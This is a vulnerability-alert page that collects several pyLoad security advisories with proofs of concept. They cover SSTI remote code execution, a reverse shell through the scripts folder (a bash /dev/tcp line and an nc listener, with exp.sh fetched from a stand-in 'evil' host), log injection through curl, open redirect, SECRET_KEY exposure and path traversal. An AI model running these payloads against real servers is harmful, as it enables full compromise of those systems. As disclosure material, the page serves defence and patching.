data = { "package": "downloadfinished", "passwords": "optionalpassword", "urls": "http://evil/exp.sh", "autostart": 1, }

response = requests.post(url, data=data, headers=headers) When the above request is made, exp.sh will be downloaded to /scripts/downloadfinished folder. For all subsequent downloads, this script will be run. Sending the request again causes a download of the file again, and when the download is complete, the script is run.

I also have a listener on my machine which receives the request from the pyload server. When the script executes, I get a connection back to my machine

Screenshots Download folder

<img width="672" alt="1" src="https://github.com/user-attachments/assets/77fc5202-bed2-41a2-98ae-9cb7b1315f76">

exp.sh is downloaded

<img width="714" alt="2" src="https://github.com/user-attachments/assets/5e6e19db-2a5c-48f4-9973-817528b5b9ec">

Script is run

<img width="714" alt="3" src="https://github.com/user-attachments/assets/34fbdaee-50ba-46a8-a372-ec8c91d03aa9">

Reverse shell connection is received

<img width="314" alt="4" src="https://github.com/user-attachments/assets/4713d56e-e850-47ad-99b3-cab0c7bba800">

Impact This vulnerability allows an attacker with access to change the settings on a pyload server to execute arbitrary code and completely compromise the system

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
EPSS
0.04%
Malicious File Upload
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Summary An authenticated user can change the download folder and upload a crafted template to the specified folder lead to remote code execution

Details example version: 0.5 file:src/pyload/webui/app/blueprints/appblueprint.py python @bp.route("/render/<path:filename>", endpoint="render") def render(filename): mimetype = mimetypes.guesstype(filename)[0] or "text/html" data = rendertemplate(filename) return flask.Response(data, mimetype=mimetype) So, if we can control file in the path "pyload/webui/app/templates" in latest version and path in "module/web/media/js"(the difference is the older version0.4.20 only renders file with extension name ".js"), the rendertemplate func will works like SSTI(server-side template injection) when render the evil file we control.

in /settings page and the choose option general/general, where we can change the download folder. !image

Also, we can find the pyLoad install folder in /info page !image So, we can change the value of Download folder to the template path. Then through /json/addpackage we can upload a crafted template file to RCE. python @bp.route("/json/addpackage", methods=["POST"], endpoint="addpackage") @apivercheck @loginrequired("ADD") def addpackage(): api = flask.currentapp.config["PYLOADAPI"]

packagename = flask.request.form.get("addname", "New Package").strip() queue = int(flask.request.form["adddest"]) links = [l.strip() for l in flask.request.form["addlinks"].splitlines()] pw = flask.request.form.get("addpassword", "").strip("\n\r")

try: file = flask.request.files["addfile"]

if file.filename: if not packagename or packagename == "New Package": packagename = file.filename

filepath = os.path.join( api.getconfigvalue("general", "storagefolder"), "tmp" + file.filename ) file.save(filepath) links.insert(0, filepath)

except Exception: pass

urls = [url for url in links if url.strip()] pack = api.addpackage(packagename, urls, queue) if pw: data = {"password": pw} api.setpackagedata(pack, data)

return jsonify(True) PoC First login into the admin page, then visit the info page to get the path of pyload installation folder. Second, change the download folder to PYLOADINSTALLDIR/ webui/app/templates/ Third, upload crafted template file through /json/addpackage through parameter addfile the content of crafted template file and its filename is "341.html": {{x.init.globals['builtins']'eval'.popen('whoami').read()")}} !image Last, visit http://TARGET/render/tmp341.html to trigger the RCE !image !image

Impact It is a RCE vulnerability and I think it affects all versions. In earlier version 0.4.20, the trigger difference is the pyload installation folder path difference and the upload file must with extension ".js" . The render js code in version 0.4.20: python @route("/media/js/<path:re:.+\.js>") def jsdynamic(path): response.headers['Expires'] = time.strftime("%a, %d %b %Y %H:%M:%S GMT", time.gmtime(time.time() + 60 60 24 2)) response.headers['Cache-control'] = "public" response.headers['Content-Type'] = "text/javascript; charset=UTF-8"

try: # static files are not rendered if "static" not in path and "mootools" not in path: t = env.gettemplate("js/%s" % path) return t.render() else: return staticfile(path, root=join(PROJECTDIR, "media", "js")) except: return HTTPError(404, "Not Found")

1 / 2
Source: GitHub
First published (updated )
Severity
6.1
EPSS
0.05%
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N

Summary Open redirect vulnerability due to incorrect validation of input values when redirecting users after login.

Details pyload is validating URLs via the getredirecturl function when redirecting users at login. !301715649-f533db41-d0bd-44f7-8735-be1887fbd06c

The URL entered in the next variable goes through the issafeurl function, where a lack of validation can redirect the user to an arbitrary domain. !301715667-2819b1d3-8a14-42f4-89c8-3d2fa84fc309

The documentation in the urllib library shows that improper URLs are recognized as relative paths when using the urlparse function. (https://docs.python.org/3/library/urllib.parse.html#urllib.parse.urlparse)

For example, When an unusual URL like https:///example.com is entered, urlparse interprets it as a relative path, but in the actual request it is converted to https://example.com due to url normalization.

PoC 1. In the next variable, insert the URL to which you want to redirect the user. !301715949-bb1451eb-5e84-451d-83b4-5c3e204d1df7

2. Check that it is possible to bypass url validation and redirect users to an arbitrary url. !301715824-3de6584a-878d-4ec4-a3d5-a34d11c6c0ac !301716107-ba5ab7b9-7aa8-4b7a-8924-eba82442b4c3

Impact An attacker can use this vulnerability to redirect users to malicious websites, which can be used for phishing and similar attacks.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
EPSS
44.02%
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary Any unauthenticated user can browse to a specific URL to expose the Flask config, including the SECRETKEY variable.

Details Any unauthenticated user can browse to a specific URL to expose the Flask config, including the SECRETKEY variable.

PoC Run pyload in the default configuration by running the following command pyload

Now browse to http://localhost:8000/render/info.html. Notice how the Flask configuration gets displayed. !PoC

I was quite amused by this finding. I think it's a very interesting coming together of things that is so unlikely to happen. Below I will detail my process a bit more.

I was looking through the code to see how the authorization mechanism is implemented when I spotted this route, which can be accessed by any unauthenticated actor - https://github.com/pyload/pyload/blob/57d81930edb59177c60830ad8ac36a91d0ec4c4e/src/pyload/webui/app/blueprints/appblueprint.py#L33C1-L37C51 python @bp.route("/render/<path:filename>", endpoint="render") def render(filename): mimetype = mimetypes.guesstype(filename)[0] or "text/html" data = rendertemplate(filename) return flask.Response(data, mimetype=mimetype)

This route allows me to load in any of the predefined templates. However, these templates will be lacking any form of context, and as such it doesn't seem too useful. That is until I loaded the info.html template and scrolled down, revealing the Flask config. This was purely accidental, and I did not understand why it happened, until I looked at the template

- https://github.com/pyload/pyload/blob/57d81930edb59177c60830ad8ac36a91d0ec4c4e/src/pyload/webui/app/templates/info.html#L64C1-L67C10 python <tr> <td>{{ ("Config folder:") }}</td> <td>{{ config }}</td> </tr>

In Flask, every template always gets the Flask config passed to it as the config variable. In the normal execution of this template, this value gets overwritten in the function below, but since we're calling it and bypassing this function altogether, it doesn't get overwritten. Would this variable not be named config and named configuration or Config instead, then this exploit wouldn't work. The likelihood of this occurring is so small, but it seems to have happened here.

- https://github.com/pyload/pyload/blob/57d81930edb59177c60830ad8ac36a91d0ec4c4e/src/pyload/webui/app/blueprints/appblueprint.py#L450C1-L461C51 python context = { "python": sys.version, "os": " ".join((os.name, sys.platform) + extra), "version": api.getserverversion(), "folder": PKGDIR, "config": api.getuserdir(), "download": conf["general"]["storagefolder"]["value"], "freespace": format.size(api.freespace()), "webif": conf["webui"]["port"]["value"], "language": conf["general"]["language"]["value"], } return rendertemplate("info.html", context)

Impact Depending on the how the Flask config data is used, it could have detrimental consequences for the security. It's crucial to keep the SECRETKEY secret and never expose it in your code or configuration files.

1 / 2
First published (updated )
Severity
5.3
EPSS
1.15%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Summary A log injection vulnerability was identified in pyload. This vulnerability allows any unauthenticated actor to inject arbitrary messages into the logs gathered by pyload.

Details pyload will generate a log entry when attempting to sign in with faulty credentials. This entry will be in the form of Login failed for user 'USERNAME'. However, when supplied with a username containing a newline, this newline is not properly escaped. Newlines are also the delimiter between log entries. This allows the attacker to inject new log entries into the log file.

PoC Run pyload in the default configuration by running the following command pyload

We can now sign in as the pyload user and view the logs at http://localhost:8000/logs. !Viewing the logs

Any unauthenticated attacker can now make the following request to inject arbitrary logs.

curl 'http://localhost:8000/login?next=http://localhost:8000/' -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data-raw $'do=login&username=wrong\'%0a[2024-01-05 02:49:19] HACKER PinkDraconian THIS ENTRY HAS BEEN INJECTED&password=wrong&submit=Login'

If we now were to look at the logs again, we see that the entry has successfully been injected. !PoC2

Impact Forged or otherwise, corrupted log files can be used to cover an attacker’s tracks or even to implicate another party in the commission of a malicious act.

1 / 2
First published (updated )
Severity
8.8
Path Traversal
AV:A/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

Summary

A web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.

Details

When a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads.

src/pyload/core/api/init.py::addpackage::L432

python folder = ( folder.replace("http://", "") .replace("https://", "") .replace(":", "") .replace("/", "") .replace("\\", "") )

So if a package were created with the name "../" the application would instead create the folder "/downloads/../"

However, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.

src/pyload/webui/app/blueprints/jsonblueprint.py::editpackage::L195

python id = int(flask.request.form["packid"]) data = { "name": flask.request.form["packname"], "folder": flask.request.form["packfolder"], "password": flask.request.form["packpws"], }

api.setpackagedata(id, data)

Steps to reproduce

1. Login to a pyLoad instance 2. Go to "Queue" and create a new package with any name and a valid link 3. Click "Edit Package" on the newly created package and set the folder as "/config/scripts/downloadfinished/" 4. Restart the package 5. Check the server filesystem and note the link was downloaded and stored inside "/config/scripts/downloadfinished/"

Remote code execution proof-of-concept

It is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.

On attacker machine

1. Start a web server hosting a malicious script

bash echo -e '#!/bin/bash\nbash -i >& /dev/tcp/<attackerip>/9999 0>&1' > evil.sh&1 sudo python3 -m http.server 80

2. Start netcat listener for reverse shells

bash nc -vklp 9999

On pyLoad

1. Change pyLoad file permission settings

Change permissions of downloads: On Permission mode for downloaded files: 0744

2. Create a package with link pointing to the attacker

http://<attackerip>/evil.sh

3. Edit package and change folder to /config/scripts/packagedeleted/

4. Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad

5. Delete any package package to trigger the script

Impact

An authenticated user can gain control over the underlying pyLoad server.

1 / 2
First published (updated )
Severity
7.4
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Improper Certificate Validation in GitHub repository pyload/pyload prior to 0.5.0b3.dev44.

First published (updated )
Severity
9.6
XSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Cross-site Scripting (XSS) - Stored in GitHub repository pyload/pyload prior to 0.5.0b3.dev42.

First published (updated )
Severity
7.5
Input Validation
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Improper Input Validation in GitHub repository pyload/pyload prior to 0.5.0b3.dev40.

First published (updated )
Severity
9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Excessive Attack Surface in GitHub repository pyload/pyload prior to 0.5.0b3.dev41.

First published (updated )
Severity
9.8
Code Injection
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Code Injection in GitHub repository pyload/pyload prior to 0.5.0b3.dev31.

First published (updated )
Severity
8.3
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Insufficient Session Expiration in GitHub repository pyload/pyload prior to 0.5.0b3.dev36.

First published (updated )
Severity
6.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Improper Restriction of Rendered UI Layers or Frames in GitHub repository pyload/pyload prior to 0.5.0b3.dev33.

First published (updated )
Severity
5.3
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Sensitive Cookie in HTTPS Session Without 'Secure' Attribute in GitHub repository pyload/pyload prior to 0.5.0b3.dev32.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203